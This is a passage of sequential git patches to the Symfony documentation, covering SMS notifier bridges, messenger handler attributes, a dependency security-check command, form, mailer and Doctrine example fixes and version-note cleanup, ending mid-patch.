@@ -350,20 +350,20 @@ Locks are created and managed in ``Stores``, which are classes that implement
 
 The component includes the following built-in store types:
 
-=========================================================  ======  ========  ======== =======
-Store                                                      Scope   Blocking  Expiring Sharing
-=========================================================  ======  ========  ======== =======
-:ref:`FlockStore <lock-store-flock>`                       local   yes       no       yes
-:ref:`MemcachedStore <lock-store-memcached>`               remote  no        yes      no
-:ref:`MongoDbStore <lock-store-mongodb>`                   remote  no        yes      no
-:ref:`PdoStore <lock-store-pdo>`                           remote  no        yes      no
-:ref:`DoctrineDbalStore <lock-store-dbal>`                 remote  no        yes      no
-:ref:`PostgreSqlStore <lock-store-pgsql>`                  remote  yes       no       yes
-:ref:`DoctrineDbalPostgreSqlStore <lock-store-dbal-pgsql>` remote  yes       no       yes
-:ref:`RedisStore <lock-store-redis>`                       remote  no        yes      yes
-:ref:`SemaphoreStore <lock-store-semaphore>`               local   yes       no       no
-:ref:`ZookeeperStore <lock-store-zookeeper>`               remote  no        no       no
-=========================================================  ======  ========  ======== =======
+==========================================================  ======  ========  ======== =======
+Store                                                       Scope   Blocking  Expiring Sharing
+==========================================================  ======  ========  ======== =======
+:ref:`FlockStore <lock-store-flock>`                        local   yes       no       yes
+:ref:`MemcachedStore <lock-store-memcached>`                remote  no        yes      no
+:ref:`MongoDbStore <lock-store-mongodb>`                    remote  no        yes      no
+:ref:`PdoStore <lock-store-pdo>`                            remote  no        yes      no
+:ref:`DoctrineDbalStore <lock-store-dbal>`                  remote  no        yes      no
+:ref:`PostgreSqlStore <lock-store-pgsql>`                   remote  yes       no       yes
+:ref:`DoctrineDbalPostgreSqlStore <lock-store-dbal-pgsql>`  remote  yes       no       yes
+:ref:`RedisStore <lock-store-redis>`                        remote  no        yes      yes
+:ref:`SemaphoreStore <lock-store-semaphore>`                local   yes       no       no
+:ref:`ZookeeperStore <lock-store-zookeeper>`                remote  no        no       no
+==========================================================  ======  ========  ======== =======
 
 .. _lock-store-flock:
 
diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
index 4e598f44e81..213e6bff7d6 100644
--- a/reference/forms/types/enum.rst
+++ b/reference/forms/types/enum.rst
@@ -9,7 +9,7 @@ EnumType Field
    The ``EnumType`` form field was introduced in Symfony 5.4.
 
 A multi-purpose field used to allow the user to "choose" one or more options
-defined in a `PHP enumeration`_. It extends the :doc:`ChoiceType </refernce/forms/types/enum>`
+defined in a `PHP enumeration`_. It extends the :doc:`ChoiceType </reference/forms/types/enum>`
 field and defines the same options.
 
 +---------------------------+----------------------------------------------------------------------+

From d224f703c8e07fc242ca56abceaaf0b256771ee7 Mon Sep 17 00:00:00 2001
From: Jon <jon@jon.se>
Date: Fri, 31 Dec 2021 09:15:39 +0100
Subject: [PATCH 2969/7107] 46elks notifier

---
 notifier.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index 3bae6fa4a14..ccb17f6fc81 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -55,6 +55,7 @@ with a couple popular SMS services:
 ==============  ====================================  ===========================================================================
 Service         Package                               DSN
 ==============  ====================================  ===========================================================================
+46elks          ``symfony/forty-six-elks-notifier``   ``forty-six-elks://API_USERNAME:API_PASSWORD@default?from=FROM``
 AllMySms        ``symfony/allmysms-notifier``         ``allmysms://LOGIN:APIKEY@default?from=FROM``
 AmazonSns       ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
 Clickatell      ``symfony/clickatell-notifier``       ``clickatell://ACCESS_TOKEN@default?from=FROM``
@@ -86,6 +87,10 @@ Vonage          ``symfony/vonage-notifier``           ``vonage://KEY:SECRET@defa
 Yunpian         ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default``
 ==============  ====================================  ===========================================================================
 
+.. versionadded:: 6.1
+
+    The 46elks integration was introduced in Symfony 6.1.
+
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
 

From e03025848646b04f44b131440e8e12aa9a948dac Mon Sep 17 00:00:00 2001
From: lusavuvu <42900969+enigma972@users.noreply.github.com>
Date: Sun, 16 Jan 2022 14:15:20 +0100
Subject: [PATCH 2970/7107] [Notifier] Add OrangeSms bridge documentation

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index ccb17f6fc81..85cffb07d6c 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -72,6 +72,7 @@ MessageMedia    ``symfony/message-media-notifier``    ``messagemedia://API_KEY:A
 Mobyt           ``symfony/mobyt-notifier``            ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
 Nexmo           ``symfony/nexmo-notifier``            ``nexmo://KEY:SECRET@default?from=FROM``
 Octopush        ``symfony/octopush-notifier``         ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
+OrangeSms       ``symfony/orange-sms-notifier``       ``orange-sms://CLIENT_ID:CLIENT_SECRET@default?from=FROM&sender_name=SENDER_NAME``
 OvhCloud        ``symfony/ovh-cloud-notifier``        ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
 Sendinblue      ``symfony/sendinblue-notifier``       ``sendinblue://API_KEY@default?sender=PHONE``
 Sms77           ``symfony/sms77-notifier``            ``sms77://API_KEY@default?from=FROM``
@@ -89,7 +90,7 @@ Yunpian         ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default
 
 .. versionadded:: 6.1
 
-    The 46elks integration was introduced in Symfony 6.1.
+    The 46elks and OrangeSms integrations were introduced in Symfony 6.1.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From b14089516789a4663d00c9b5249ab47f72446100 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 18 Jan 2022 12:42:20 +0100
Subject: [PATCH 2971/7107] Revert changes related to check:security command

---
 setup.rst | 25 +++++++++++++++++--------
 1 file changed, 17 insertions(+), 8 deletions(-)

diff --git a/setup.rst b/setup.rst
index 4522720352b..b1462779c58 100644
--- a/setup.rst
+++ b/setup.rst
@@ -224,21 +224,30 @@ require --no-unpack ...`` option to disable unpacking.
 Checking Security Vulnerabilities
 ---------------------------------
 
-A good and recommended security practice is to check from time to time whether your
-project's dependencies contain any known security vulnerabilities. You can leverage the
-`Local PHP Security Checker`_ to do so.
+The ``symfony`` binary created when you `install Symfony CLI`_ provides a command
+to check whether your project's dependencies contain any known security
+vulnerability:
 
-You can also execute this process regularly to be able to
+.. code-block:: terminal
+
+    $ symfony check:security
+
+A good security practice is to execute this command regularly to be able to
 update or replace compromised dependencies as soon as possible. The security
 check is done locally by fetching the public `PHP security advisories database`_,
 so your ``composer.lock`` file is not sent on the network.
 
+The ``check:security`` command terminates with a non-zero exit code if any of
+your dependencies is affected by a known security vulnerability. This way you
+can add it to your project build process and your continuous integration
+workflows to make them fail when there are vulnerabilities.
+
 .. tip::
 
-    The ``check:security`` command terminates with a non-zero exit code if
-    any of your dependencies is affected by a known security vulnerability.
-    This way you can add it to your project build process and your continuous
-    integration workflows to make them fail when there are vulnerabilities.
+    In continuous integration services you can check security vulnerabilities
+    using a different stand-alone project called `Local PHP Security Checker`_.
+    This is the same project used internally by ``check:security`` but much
+    smaller in size than the entire Symfony CLI.
 
 Symfony LTS Versions
 --------------------

From 0171f928480a51fc0fcbd35e31fabb844ce90019 Mon Sep 17 00:00:00 2001
From: Egor Taranov <dev@taranovegor.com>
Date: Tue, 9 Nov 2021 16:51:06 +0200
Subject: [PATCH 2972/7107] [Notifier] [Bridge] [KazInfoTeh] added bridge
 documentation

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 85cffb07d6c..0106094892f 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -65,6 +65,7 @@ FreeMobile      ``symfony/free-mobile-notifier``      ``freemobile://LOGIN:PASSW
 GatewayApi      ``symfony/gatewayapi-notifier``       ``gatewayapi://TOKEN@default?from=FROM``
 Infobip         ``symfony/infobip-notifier``          ``infobip://AUTH_TOKEN@HOST?from=FROM``
 Iqsms           ``symfony/iqsms-notifier``            ``iqsms://LOGIN:PASSWORD@default?from=FROM``
+KazInfoTeh      ``symfony/kaz-info-teh-notifier``     ``kaz-info-teh://USERNAME:PASSWORD@default?sender=FROM``
 LightSms        ``symfony/light-sms-notifier``        ``lightsms://LOGIN:TOKEN@default?from=PHONE``
 Mailjet         ``symfony/mailjet-notifier``          ``mailjet://TOKEN@default?from=FROM``
 MessageBird     ``symfony/message-bird-notifier``     ``messagebird://TOKEN@default?from=FROM``
@@ -90,7 +91,7 @@ Yunpian         ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default
 
 .. versionadded:: 6.1
 
-    The 46elks and OrangeSms integrations were introduced in Symfony 6.1.
+    The 46elks, OrangeSms and KazInfoTeh integrations were introduced in Symfony 6.1.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From 7634581b9b1b15eb8c6a0340021ae0add7b9a900 Mon Sep 17 00:00:00 2001
From: Igor <31731246+fzsys@users.noreply.github.com>
Date: Wed, 19 Jan 2022 09:37:57 +0200
Subject: [PATCH 2973/7107] php.net callback documentation link changed

---
 create_framework/templating.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/create_framework/templating.rst b/create_framework/templating.rst
index 972f2a1f982..6fca67d84a1 100644
--- a/create_framework/templating.rst
+++ b/create_framework/templating.rst
@@ -178,5 +178,5 @@ As always, you can decide to stop here and use the framework as is; it's
 probably all you need to create simple websites like those fancy one-page
 `websites`_ and hopefully a few others.
 
-.. _`callbacks`: https://www.php.net/callback#language.types.callback
+.. _`callbacks`: https://www.php.net/manual/en/language.types.callable.php
 .. _`websites`: https://kottke.org/08/02/single-serving-sites

From 11d87ad0540ac23e64a79d6769dae3d170a30bc7 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Fri, 17 Dec 2021 12:49:59 -0500
Subject: [PATCH 2974/7107] Adding details about new recipes:update command

---
 .doctor-rst.yaml              |  2 +-
 performance.rst               |  5 ++++-
 setup/_update_recipes.rst.inc | 29 ++++++++++++-----------------
 3 files changed, 17 insertions(+), 19 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 0e72bb4f3e2..6ef4959d8f9 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -88,7 +88,7 @@ whitelist:
         - '.. versionadded:: 1.11' # MakerBundle
         - '.. versionadded:: 1.3' # MakerBundle
         - '.. versionadded:: 1.8' # MakerBundle
-        - '.. versionadded:: 1.6' # Flex in setup/upgrade_minor.rst
+        - '.. versionadded:: 1.18' # Flex in setup/upgrade_minor.rst
         - '0 => 123' # assertion for var_dumper - components/var_dumper.rst
         - '1 => "foo"' # assertion for var_dumper - components/var_dumper.rst
         - '$var .= "Because of this `\xE9` octet (\\xE9),\n";'
diff --git a/performance.rst b/performance.rst
index 5c1992dc134..0753861a9ca 100644
--- a/performance.rst
+++ b/performance.rst
@@ -115,10 +115,13 @@ You can configure PHP to use this preload file:
 
     ; php.ini
     opcache.preload=/path/to/project/config/preload.php
-    
+
     ; required for opcache.preload:
     opcache.preload_user=www-data
 
+If this file is missing, run this command to update the Symfony Flex recipe:
+``composer recipes:update symfony/framework-bundle``.
+
 .. _performance-configure-opcache:
 
 Configure OPcache for Maximum Performance
diff --git a/setup/_update_recipes.rst.inc b/setup/_update_recipes.rst.inc
index da963380ce1..98dff8ddcb8 100644
--- a/setup/_update_recipes.rst.inc
+++ b/setup/_update_recipes.rst.inc
@@ -9,30 +9,25 @@ it's a good idea to keep your files in sync with the recipes.
 Symfony Flex provides several commands to help upgrade your recipes. Be sure to
 commit any unrelated changes you're working on before starting:
 
-.. versionadded:: 1.6
+.. versionadded:: 1.18
 
-    The recipes commands were introduced in Symfony Flex 1.6.
+    The ``recipes:update`` command was introduced in Symfony Flex 1.18.
 
 .. code-block:: terminal
 
+    # choose an outdated recipe to update
+    $ composer recipes:update
+
+    # update a specific recipe
+    $ composer recipes:update symfony/framework-bundle
+
     # see a list of all installed recipes and which have updates available
     $ composer recipes
 
     # see detailed information about a specific recipes
     $ composer recipes symfony/framework-bundle
 
-    # update a specific recipes
-    $ composer recipes:install symfony/framework-bundle --force -v
-
-The tricky part of this process is that the recipe "update" does not perform
-any intelligent "upgrading" of your code. Instead, **the updates process re-installs
-the latest version of the recipe** which means that **your custom code will be
-overridden completely**. After updating a recipe, you need to carefully choose
-which changes you want, and undo the rest.
-
-.. admonition:: Screencast
-    :class: screencast
-
-    For a detailed example, see the `SymfonyCasts Symfony 5 Upgrade Tutorial`_.
-
-.. _`SymfonyCasts Symfony 5 Upgrade Tutorial`: https://symfonycasts.com/screencast/symfony5-upgrade
+The ``recipes:update`` command is smart: it looks at the difference between the
+recipe when you installed it and the latest version. It then creates a patch and
+applies it to your app. If there are any conflicts, you can resolve them like a
+normal ``git`` conflict and commit like normal.

From c53d770b61aac6e62e7915ddfe7b58a0fb41b7c8 Mon Sep 17 00:00:00 2001
From: Mert Simsek <mertsmsk0@gmail.com>
Date: Sat, 15 Jan 2022 03:20:42 +0300
Subject: [PATCH 2975/7107] Update configuration.rst to aviod misunderstanding

We shouldn't deploy the ".env.local" file for the production environment variables. We just need to add the ".env" file into Git and manually create a new ".env.local" file on the production machine. In the old expression says, "deploying" and it might be a misunderstanding in this way. I changed it to "creating".

Old expression:
In production, the ``.env`` files are also parsed and loaded on each request. So
the easiest way to define env vars is by deploying a ``.env.local`` file to your
production server(s) with your production values.
---
 configuration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration.rst b/configuration.rst
index 80f93e2025e..f76a2aa09aa 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -688,7 +688,7 @@ Configuring Environment Variables in Production
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 In production, the ``.env`` files are also parsed and loaded on each request. So
-the easiest way to define env vars is by deploying a ``.env.local`` file to your
+the easiest way to define env vars is by creating a ``.env.local`` file on your
 production server(s) with your production values.
 
 To improve performance, you can optionally run the ``dump-env`` command (available

From 70690757bcf51a3bf0c9e764fd5d69225a4a361b Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Wed, 19 Jan 2022 17:14:26 +0100
Subject: [PATCH 2976/7107] [#15990] Minor changes

---
 messenger.rst | 32 +++++++++++++++++++++++---------
 1 file changed, 23 insertions(+), 9 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 7e8d1aa640f..2d40e64c6c3 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -50,11 +50,15 @@ serialized::
 
 .. _messenger-handler:
 
+.. versionadded:: 5.4
+
+    The ``#[AsMessageHandler]`` PHP attribute was introduced in Symfony
+    5.4. PHP attributes require at least PHP 8.0.
+
 A message handler is a PHP callable, the recommended way to create it is to
-create a class using :class:`Symfony\\Component\\Messenger\\Attribute\\AsMessageHandler`
-attribute which has an ``__invoke()`` method that's type-hinted with the
-message class (or a message interface) or you can create a class without the attribute, by implementing
-:class:`Symfony\\Component\\Messenger\\Handler\\MessageHandlerInterface`::
+create a class that has the :class:`Symfony\\Component\\Messenger\\Attribute\\AsMessageHandler`
+attribute and has an ``__invoke()`` method that's type-hinted with the
+message class (or a message interface)::
 
     // src/MessageHandler/SmsNotificationHandler.php
     namespace App\MessageHandler;
@@ -71,6 +75,12 @@ message class (or a message interface) or you can create a class without the att
         }
     }
 
+.. note::
+
+    You can also create a class without the attribute (e.g. if you're
+    using PHP 7.4), by implementing :class:`Symfony\\Component\\Messenger\\Handler\\MessageHandlerInterface`
+    instead.
+
 Thanks to :ref:`autoconfiguration <services-autoconfigure>` and the ``SmsNotification``
 type-hint, Symfony knows that this handler should be called when an ``SmsNotification``
 message is dispatched. Most of the time, this is all you need to do. But you can
@@ -1770,12 +1780,15 @@ on a case-by-case basis via the :class:`Symfony\\Component\\Messenger\\Stamp\\Se
 Customizing Handlers
 --------------------
 
-.. _messenger-handler-config:
+Configuring Handlers Using Attributes
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.4
 
-Configuring Handlers Using Attribute
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+    The ``#[AsMessageHandler]`` PHP attribute was introduced in Symfony
+    5.4. PHP attributes require at least PHP 8.0.
 
-You can configure your handler easily by passing options to the attribute::
+You can configure your handler by passing options to the attribute::
 
     // src/MessageHandler/SmsNotificationHandler.php
     namespace App\MessageHandler;
@@ -1793,7 +1806,6 @@ You can configure your handler easily by passing options to the attribute::
         }
     }
 
-
 Possible options to configure with the attribute are:
 
 * ``bus``
@@ -1802,6 +1814,8 @@ Possible options to configure with the attribute are:
 * ``method``
 * ``priority``
 
+.. _messenger-handler-config:
+
 Manually Configuring Handlers
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 2e723657b5207fc1f6a8193f3084a745c12af417 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Wed, 19 Jan 2022 17:28:00 +0100
Subject: [PATCH 2977/7107] Removed 5.4 versionadded

---
 messenger.rst | 10 ----------
 1 file changed, 10 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index e7f92e5ef8e..bca41791b04 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -50,11 +50,6 @@ serialized::
 
 .. _messenger-handler:
 
-.. versionadded:: 5.4
-
-    The ``#[AsMessageHandler]`` PHP attribute was introduced in Symfony
-    5.4. PHP attributes require at least PHP 8.0.
-
 A message handler is a PHP callable, the recommended way to create it is to
 create a class that has the :class:`Symfony\\Component\\Messenger\\Attribute\\AsMessageHandler`
 attribute and has an ``__invoke()`` method that's type-hinted with the
@@ -1689,11 +1684,6 @@ Customizing Handlers
 Configuring Handlers Using Attributes
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.4
-
-    The ``#[AsMessageHandler]`` PHP attribute was introduced in Symfony
-    5.4. PHP attributes require at least PHP 8.0.
-
 You can configure your handler by passing options to the attribute::
 
     // src/MessageHandler/SmsNotificationHandler.php

From 7cba7df261287fe8b070108336a1988562c6f54e Mon Sep 17 00:00:00 2001
From: OrangeVinz <orangevinz@gmail.com>
Date: Wed, 19 Jan 2022 22:48:02 +0100
Subject: [PATCH 2978/7107] Update login_link.rst

---
 security/login_link.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/login_link.rst b/security/login_link.rst
index 045c9a7963f..137fe734330 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -693,7 +693,7 @@ success handler behaves, create your own handler as a class that implements
             $user = $token->getUser();
             $userApiToken = $user->getApiToken();
 
-            return new JsonResponse(['apiToken' => 'userApiToken']);
+            return new JsonResponse(['apiToken' => $userApiToken]);
         }
     }
 

From 683a6712aa8b3134a5ed035fa7015bd2ee0f0e39 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 20 Jan 2022 20:29:27 +0100
Subject: [PATCH 2979/7107] Moving RexExp search to its own heading

I wanted to create a heading ("Search Using a Regular Expression") for this. Is `~~~~` the lowest level already? If yes, I'd suggest to drop the "Method Reference" heading, and promote all included "Methods to..." headings one level.
---
 components/string.rst | 20 ++++++++++++++++----
 1 file changed, 16 insertions(+), 4 deletions(-)

diff --git a/components/string.rst b/components/string.rst
index f754bfdb7ea..3fc50077094 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -318,10 +318,6 @@ Methods to Search and Replace
     // checks if the string contents are exactly the same as the given contents
     u('foo')->equalsTo('foo'); // true
 
-    // checks if the string content match the given regular expression
-    u('avatar-73647.png')->match('/avatar-(\d+)\.png/');
-    // result = ['avatar-73647.png', '73647']
-
     // checks if the string contains any of the other given strings
     u('aeiou')->containsAny('a');                 // true
     u('aeiou')->containsAny(['ab', 'efg']);       // false
@@ -358,6 +354,22 @@ Methods to Search and Replace
 
     The ``containsAny()`` method was introduced in Symfony 5.1.
 
+::
+
+You can use ``match()`` to search with a Regular Expression::
+
+    u('avatar-73647.png')->match('/avatar-(\d+)\.png/');
+    // result = ['avatar-73647.png', '73647']
+
+By default, PHP's ``preg_match()`` is used, and you can pass search flags as second argument::
+
+    $string->match('/(a)(b)/', \PREG_UNMATCHED_AS_NULL);
+
+When passing ``\PREG_PATTERN_ORDER`` or ``\PREG_SET_ORDER``, PHP's ``preg_match_all()`` is used.
+Multiple flags can be set with the `|` operator::
+
+    $string->match('/(a)(b)/', \PREG_PATTERN_ORDER|\PREG_UNMATCHED_AS_NULL);
+
 Methods to Join, Split, Truncate and Reverse
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From c6664592de1781a9098f612306109ffff2a5059c Mon Sep 17 00:00:00 2001
From: Jordi Boggiano <j.boggiano@seld.be>
Date: Thu, 20 Jan 2022 12:31:38 +0100
Subject: [PATCH 2980/7107] Add return types in docs to avoid generating more
 legacy code

---
 controller/argument_value_resolver.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index 90763c591c0..1dc0833bb53 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -170,7 +170,7 @@ retrieved from the token storage::
             $this->security = $security;
         }
 
-        public function supports(Request $request, ArgumentMetadata $argument)
+        public function supports(Request $request, ArgumentMetadata $argument): bool
         {
             if (User::class !== $argument->getType()) {
                 return false;
@@ -179,7 +179,7 @@ retrieved from the token storage::
             return $this->security->getUser() instanceof User;
         }
 
-        public function resolve(Request $request, ArgumentMetadata $argument)
+        public function resolve(Request $request, ArgumentMetadata $argument): iterable
         {
             yield $this->security->getUser();
         }

From 418426a3d8e818ac95a38ceeb49abeadb5ba35d4 Mon Sep 17 00:00:00 2001
From: andyexeter <palmer.andy@gmail.com>
Date: Fri, 21 Jan 2022 09:57:53 +0000
Subject: [PATCH 2981/7107] Capitalise From and Bcc header names in global
 mailer configuration

---
 mailer.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 081a88dea24..7899f449f3b 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -535,8 +535,8 @@ and headers.
                     sender: 'fabien@example.com'
                     recipients: ['foo@example.com', 'bar@example.com']
                 headers:
-                    from: 'Fabien <fabien@example.com>'
-                    bcc: 'baz@example.com'
+                    From: 'Fabien <fabien@example.com>'
+                    Bcc: 'baz@example.com'
                     X-Custom-Header: 'foobar'
 
     .. code-block:: xml
@@ -558,8 +558,8 @@ and headers.
                         <framework:recipients>foo@example.com</framework:recipients>
                         <framework:recipients>bar@example.com</framework:recipients>
                     </framework:envelope>
-                    <framework:header name="from">Fabien &lt;fabien@example.com&gt;</framework:header>
-                    <framework:header name="bcc">baz@example.com</framework:header>
+                    <framework:header name="From">Fabien &lt;fabien@example.com&gt;</framework:header>
+                    <framework:header name="Bcc">baz@example.com</framework:header>
                     <framework:header name="X-Custom-Header">foobar</framework:header>
                 </framework:mailer>
             </framework:config>
@@ -578,8 +578,8 @@ and headers.
                     ->recipients(['foo@example.com', 'bar@example.com'])
             ;
 
-            $mailer->header('from')->value('Fabien <fabien@example.com>');
-            $mailer->header('bcc')->value('baz@example.com');
+            $mailer->header('From')->value('Fabien <fabien@example.com>');
+            $mailer->header('Bcc')->value('baz@example.com');
             $mailer->header('X-Custom-Header')->value('foobar');
         };
 

From f913d0477a650e9a3ae53544fcca0a4451b0eaf8 Mon Sep 17 00:00:00 2001
From: Mathieu Santostefano <msantostefano@protonmail.com>
Date: Sun, 23 Jan 2022 12:35:24 +0100
Subject: [PATCH 2982/7107] Add inputmode doc for NumberType

---
 reference/forms/types/number.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/reference/forms/types/number.rst b/reference/forms/types/number.rst
index eda9189f7e3..f953c147dab 100644
--- a/reference/forms/types/number.rst
+++ b/reference/forms/types/number.rst
@@ -58,6 +58,13 @@ to ``2``, a submitted value of ``20.123`` will be rounded to, for example,
 
 .. include:: /reference/forms/types/options/rounding_mode.rst.inc
 
+If set to ``0`` with ``html5`` set to ``false``, the HTML input will be rendered with ``inputmode=numeric``.
+However, if set to any value greater than ``0``, with ``html5`` set to ``false``, the HTML input will be rendered with ``inputmode=decimal``.
+
+Learn more about the ``inputmode`` attribute on `MDN website`_.
+
+.. include:: https://developer.mozilla.org/fr/docs/Web/HTML/Global_attributes/inputmode
+
 Overridden Options
 ------------------
 

From ba95e8ccdb594cbe076ea877b8e04e4ba920b3fd Mon Sep 17 00:00:00 2001
From: Maksim Tiugaev <tugmaks@yandex.ru>
Date: Mon, 24 Jan 2022 10:19:19 +0300
Subject: [PATCH 2983/7107] Fix typo in amqp messenger

---
 messenger.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 48b0bf483da..24e6768bcb4 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1125,8 +1125,8 @@ The transport has a number of options:
 ============================================  =================================================  ===================================
      Option                                   Description                                        Default
 ============================================  =================================================  ===================================
-``auto_setup``                                Whether the table should be created                ``true``
-                                              automatically during send / get.
+``auto_setup``                                Whether the exchanges and queues should be         ``true``
+                                              created automatically during send / get.
 ``cacert``                                    Path to the CA cert file in PEM format.
 ``cert``                                      Path to the client certificate in PEM format.
 ``channel_max``                               Specifies highest channel number that the server

From 0e0265ee3168e16a6fb95cb8d06a22cdbea714aa Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 24 Jan 2022 13:47:03 +0100
Subject: [PATCH 2984/7107] Reword

---
 reference/forms/types/number.rst | 12 ++++++++----
 1 file changed, 8 insertions(+), 4 deletions(-)

diff --git a/reference/forms/types/number.rst b/reference/forms/types/number.rst
index f953c147dab..7fc8c1b00e8 100644
--- a/reference/forms/types/number.rst
+++ b/reference/forms/types/number.rst
@@ -58,12 +58,14 @@ to ``2``, a submitted value of ``20.123`` will be rounded to, for example,
 
 .. include:: /reference/forms/types/options/rounding_mode.rst.inc
 
-If set to ``0`` with ``html5`` set to ``false``, the HTML input will be rendered with ``inputmode=numeric``.
-However, if set to any value greater than ``0``, with ``html5`` set to ``false``, the HTML input will be rendered with ``inputmode=decimal``.
+When the ``html5`` option is set to ``false``, the ``<input>`` element will
+include an `inputmode HTML attribute`_ which depends on the value of this option.
+If the ``scale`` value is ``0``, ``inputmode`` will be ``numeric``; if ``scale``
+is set to any value greater than ``0``, ``inputmode`` will be ``decimal``.
 
-Learn more about the ``inputmode`` attribute on `MDN website`_.
+.. versionadded:: 6.1
 
-.. include:: https://developer.mozilla.org/fr/docs/Web/HTML/Global_attributes/inputmode
+   The automatic addition of the ``inputmode`` attribute was introduced in Symfony 6.1.
 
 Overridden Options
 ------------------
@@ -112,3 +114,5 @@ The default value is ``''`` (the empty string).
 .. include:: /reference/forms/types/options/required.rst.inc
 
 .. include:: /reference/forms/types/options/row_attr.rst.inc
+
+.. _`inputmode HTML attribute`: https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/inputmode

From 83e0b196d4568be54e56410ee021b2fd3d3c00e3 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 25 Jan 2022 13:19:16 +0100
Subject: [PATCH 2985/7107] Cleanup left over 5.x mentions

---
 security/remember_me.rst | 11 -----------
 1 file changed, 11 deletions(-)

diff --git a/security/remember_me.rst b/security/remember_me.rst
index 54bd5c58c81..780f67f8070 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -279,11 +279,6 @@ Persistent tokens
     You can then configure this custom handler by configuring the service
     ID in the ``service`` option under ``remember_me``.
 
-    .. versionadded:: 5.1
-
-        The ``service`` option was introduced in Symfony 5.1.
-
-
 .. _security-remember-me-signature:
 
 Using Signed Remember Me Tokens
@@ -580,10 +575,6 @@ users to change their password. You can do this by leveraging a few special
     There is also a ``IS_REMEMBERED`` attribute that grants access *only*
     when the user is authenticated via the remember me mechanism.
 
-.. versionadded:: 5.1
-
-    The ``IS_REMEMBERED`` attribute was introduced in Symfony 5.1.
-
 Customizing the Remember Me Cookie
 ----------------------------------
 
@@ -622,5 +613,3 @@ cookie created by the system:
 ``samesite`` (default value: ``null``)
     If set to ``strict``, the cookie associated with this feature will not
     be sent along with cross-site requests, even when following a regular link.
-
-.. _`5.2 version of this documentation`: https://symfony.com/doc/5.2/security/remember_me.html

From 81b69ee718a1e36a34488060002dbfa783e4ef8d Mon Sep 17 00:00:00 2001
From: ghertko <60232049+ghertko@users.noreply.github.com>
Date: Fri, 21 Jan 2022 13:34:49 +0100
Subject: [PATCH 2986/7107] call `fetchAllAssociative` for a result set

`fetchAllAssociative()` is not available for class "Doctrine\DBAL\Statement"
---
 doctrine.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index c29fa8a827f..0112eb5428e 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -853,10 +853,10 @@ In addition, you can query directly with SQL if you need to::
                 ORDER BY p.price ASC
                 ';
             $stmt = $conn->prepare($sql);
-            $stmt->execute(['price' => $price]);
+            $resultSet = $stmt->executeQuery(['price' => $price]);
 
